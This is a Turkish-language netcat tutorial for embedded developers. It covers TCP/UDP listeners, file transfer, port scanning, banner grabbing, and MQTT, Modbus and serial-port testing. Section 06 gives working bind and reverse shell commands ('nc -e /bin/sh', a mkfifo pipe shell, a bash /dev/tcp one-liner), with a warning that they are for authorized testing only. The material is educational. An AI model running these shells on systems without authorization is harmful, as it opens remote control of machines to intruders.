00 netcat nedir — varyantlar ve farklar
netcat, TCP ve UDP soketleri üzerinden veri okuyup yazabilen minimal bir araçtır. Basit görünüşünün arkasında sayısız kullanım senaryosu saklanır.
Üç ana varyant mevcuttur:
# Hangi nc var?
nc --version 2>&1 | head -1
readlink -f $(which nc)
# Kurulum
apt-get install netcat-openbsd # Ubuntu/Debian önerilen
apt-get install ncat # nmap'ten gelen güçlü versiyon
GNU netcat'in -e /bin/bash flag'i bağlantı kurulduğunda bir shell başlatır. Bu özelliği olan nc binary'si üretim sistemlerinde çalışıyor olmamalı. OpenBSD nc ve ncat bu flag'i içermez — embedded güvenlik için OpenBSD versiyonu tercih edilir.
01 TCP server ve client kurma
nc'nin en temel kullanımı: bir tarafta dinle, diğer tarafta bağlan.
Server modu (-l)
# Port 8080'de dinle
nc -l -p 8080
# Veya kısa yazım (OpenBSD nc):
nc -l 8080
# Verbose mod — bağlantı bilgisi göster
nc -l -v 8080
# Listening on 0.0.0.0 8080
# Connection received on 192.168.1.5 54321
# Server'a bağlan
nc 192.168.1.10 8080
# Bağlantı kurulunca iki terminal arasında metin yazışması başlar
# Ctrl+C veya Ctrl+D ile bağlantıyı kes
-k ile kalıcı server (keep-open)
# İlk bağlantı kapandıktan sonra tekrar dinlemeye geç (-k)
# Sadece ncat ve yeni nc versiyonlarında desteklenir
ncat -l -k 8080
# Önceki bağlantı kapanınca yeni bağlantı kabul et
# Test endpoint olarak çok kullanışlı
Echo server (pipe ile)
# Gelen her şeyi geri gönderen echo server
while true; do
nc -l 8080 | nc -l 8080
done
# Daha temiz: socat ile (nc'den daha güçlü)
socat TCP-LISTEN:8080,fork EXEC:"cat"
02 UDP modu
-u flag'i ile nc UDP moduna geçer. DNS, SNMP, DHCP, özel protokoller test etmek için kullanılır.
# UDP server (port 5005'te dinle)
nc -u -l 5005
# UDP client
nc -u 192.168.1.10 5005
# UDP'de broadcast test
echo "merhaba" | nc -u -b 192.168.1.255 5005
# DNS sorgusu benzetimi (UDP port 53 test)
nc -u -v 8.8.8.8 53
# Bağlandı mı? UDP'de bağlantı kavramı yoktur — paket gönderilebiliyor mu?
# SNMP UDP portu açık mı?
nc -u -v -z -w 2 192.168.1.100 161
# -z = sıfır I/O (port kontrolü), -w = timeout saniye
TCP'de "bağlantı kuruldu" net bir kavramdır. UDP'de yoktur — nc -u ile bağlantı denemesi her zaman başarılı görünür çünkü UDP handshake yoktur. Gerçek test için karşı tarafın bir veri dönmesini bekle. ICMP port unreachable gelmesi kapalı demektir.
03 Dosya transferi
nc ile dosya transferi: SSH olmayan ortamda en hızlı yol. Şifreleme yok — güvenli ağda kullan.
# Dosyayı bekle ve kaydet
nc -l 9999 > received_file.bin
# İlerlemeyi görmek için pv (pipe viewer) kullan
nc -l 9999 | pv > received_file.bin
# Dosyayı gönder
nc 192.168.1.10 9999 < firmware.bin
# Gönderme bitince otomatik kes (-q 1 = 1 saniye bekle sonra kapat)
nc -q 1 192.168.1.10 9999 < firmware.bin
Sıkıştırarak transfer
# Alıcı: gzip ile aç
nc -l 9999 | gzip -d > output.tar
# Gönderen: gzip ile sıkıştır
tar -czf - /path/to/directory | nc 192.168.1.10 9999
# Alıcı: doğrudan aç
nc -l 9999 | tar -xzf -
Dizin transferi (tar + nc)
# Alıcı: /opt/app dizinine çıkart
nc -l 9999 | tar -xzf - -C /opt/app/
# Gönderen: /opt/app dizinini gönder
tar -czf - -C /opt app/ | nc 192.168.1.10 9999
# Transfer hızını ölç
time (tar -czf - /large_dir/ | nc 192.168.1.10 9999)
nc dosya transferi şifresiz gerçekleşir. Güvensiz ağda SCP veya rsync over SSH kullan. nc yalnızca izole test ağı, lab ortamı veya embedded ilk kurulum senaryolarında uygundur.
04 Port tarama
nmap kadar güçlü olmasa da nc ile basit port taraması yapılabilir. nmap kurulu olmayan minimal sistemlerde kullanışlıdır.
# -z = zero I/O modu (port tara, veri gönderme)
# -v = verbose (açık portları yaz)
# -w 1 = 1 saniye timeout
# Tek port tara
nc -z -v 192.168.1.100 80
# 192.168.1.100: inverse host lookup failed: Unknown host
# (UNKNOWN) [192.168.1.100] 80 (http) open ← açık
# (UNKNOWN) [192.168.1.100] 80 (http) : Connection refused ← kapalı
# Port aralığı tara
nc -z -v -w 1 192.168.1.100 80-443
# Ya da:
nc -z -v -w 1 192.168.1.100 1-1024 2>&1 | grep open
# Özel portlar
for port in 22 80 443 8080 8443 9000; do
nc -z -w 1 192.168.1.100 $port 2>&1 && echo "$port açık"
done
nc port taraması TCP connect kullanır (full handshake). Bu loglanır ve yavaştır. nmap -sS SYN taraması raw socket kullanır, daha hızlı ve daha az iz bırakır. Hızlı kontrol için nc yeterlidir, kapsamlı audit için nmap kullan.
05 Banner grabbing
Bir servisin kendini tanıttığı ilk mesaj (banner), servis türü ve versiyonu hakkında bilgi verir.
# HTTP banner (GET isteği)
echo -e "GET / HTTP/1.0\r\nHost: 192.168.1.100\r\n\r\n" | \
nc -w 3 192.168.1.100 80 | head -20
# HTTP/1.1 200 OK
# Server: nginx/1.24.0
# ...
# HTTP HEAD (body olmadan sadece header)
printf "HEAD / HTTP/1.0\r\nHost: %s\r\n\r\n" 192.168.1.100 | \
nc -w 3 192.168.1.100 80
# SMTP banner
nc -w 5 mail.example.com 25
# 220 mail.example.com ESMTP Postfix
# SMTP EHLO komutu gönder
echo -e "EHLO test.local\r\n" | nc -w 3 mail.example.com 25
# SSH banner
nc -w 3 192.168.1.100 22
# SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
# FTP banner
nc -w 3 192.168.1.100 21
# 220 (vsFTPd 3.0.5)
# Özel TCP servisi — bağlan ve bekle
nc -v -w 5 192.168.1.100 9000
Sunucularda servis banner'larını gizlemek güvenlik pratiğidir. nginx'te server_tokens off, Apache'de ServerTokens Prod. Embedded uygulamalarında banner gönderme — ya da kasıtlı yanıltıcı banner kullan. nc bu konfigürasyonları test etmek için idealdir.
06 Reverse shell ve bind shell
Güvenlik testi senaryosu. Yalnızca izniniz olan sistemlerde, eğitim veya penetrasyon testi amacıyla kullanın.
İki temel senaryo vardır:
Bind Shell: Hedef cihaz belirli bir portu dinler Saldırgan/test cihazı o porta bağlanır Hedef → port 4444 → <shell> Reverse Shell: Hedef cihaz test makinesine bağlanır Firewall/NAT'ın arkasındaki cihazlara erişim için Hedef → test_makinesi:4444 → <shell>
Bind shell — hedef dinliyor
# Hedef: port 4444'te shell sun
nc -l -p 4444 -e /bin/sh # GNU nc -e ile
# GNU nc yoksa pipe ile (POSIX uyumlu)
mkfifo /tmp/pipe
sh -i < /tmp/pipe | nc -l 4444 > /tmp/pipe
rm /tmp/pipe
nc 192.168.1.100 4444
# Shell prompt açılır
Reverse shell — hedef bağlanıyor
# Test makinesi önce dinlemeye geçer
nc -l -v 4444
# Hedef test makinesine bağlanır ve shell başlatır
nc 192.168.1.5 4444 -e /bin/sh # GNU nc
# Bash reverse shell (GNU nc yoksa)
bash -i &>/dev/tcp/192.168.1.5/4444 0&>&1
Bu teknikler güvenlik testinin vazgeçilmez parçasıdır. Ancak yalnızca açık izin verilen sistemlerde kullanılır. Yetkisiz sistemlere uygulamak Türk Ceza Kanunu'nun 243. ve 244. maddeleri kapsamında suçtur. Lab ortamı ve CTF dışında dikkatli ol.
07 Pratik: embedded TCP test ve serial bridge
Embedded sistemlerde nc, TCP servislerini test etmek ve serial port'u ağa köprülemek için idealdir.
Embedded TCP servis testi
# Embedded cihazın TCP servisi çalışıyor mu?
nc -z -v -w 2 192.168.1.100 8883 # MQTT TLS
nc -z -v -w 2 192.168.1.100 1883 # MQTT plain
nc -z -v -w 2 192.168.1.100 502 # Modbus TCP
# MQTT test mesajı gönder (raw protokol)
# CONNECT paketi (minimal, unencrypted)
printf '\x10\x0c\x00\x04MQTT\x04\x00\x00\x3c\x00\x00' | \
nc -w 3 192.168.1.100 1883 | xxd
# CONNACK: 20 02 00 00 → başarılı bağlantı
# Modbus TCP: Read Coils (Function Code 01)
printf '\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x08' | \
nc -w 3 192.168.1.100 502 | xxd
Serial port → TCP bridge (socat ile)
Embedded geliştirmede seri konsola uzaktan erişmek gerekebilir. socat (nc'den daha güçlü) seri portu TCP'ye köprüler.
# /dev/ttyS0 seri portunu TCP 4444'e köprüle
socat TCP-LISTEN:4444,reuseaddr,fork \
FILE:/dev/ttyS0,raw,echo=0,b115200
# Veya socat yoksa busybox nc + stty kombinasyonu:
stty -F /dev/ttyS0 115200 raw
nc -l 4444 <> /dev/ttyS0
# Seri konsola bağlan
nc 192.168.1.100 4444
# Artık /dev/ttyS0 üzerindeki cihazla konuşuyorsun
# Veya socat ile daha iyi terminal emülasyonu
socat -,raw,echo=0 TCP:192.168.1.100:4444
Script içinde bağlantı testi
#!/bin/sh
# OTA başlamadan önce sunucuya bağlantı kontrol et
OTA_SERVER="192.168.1.50"
OTA_PORT="8443"
if nc -z -w 5 "$OTA_SERVER" "$OTA_PORT" 2>/dev/null; then
echo "Sunucu erişilebilir, OTA başlatılıyor..."
start_ota_update
else
echo "HATA: OTA sunucusuna erişilemiyor ($OTA_SERVER:$OTA_PORT)"
exit 1
fi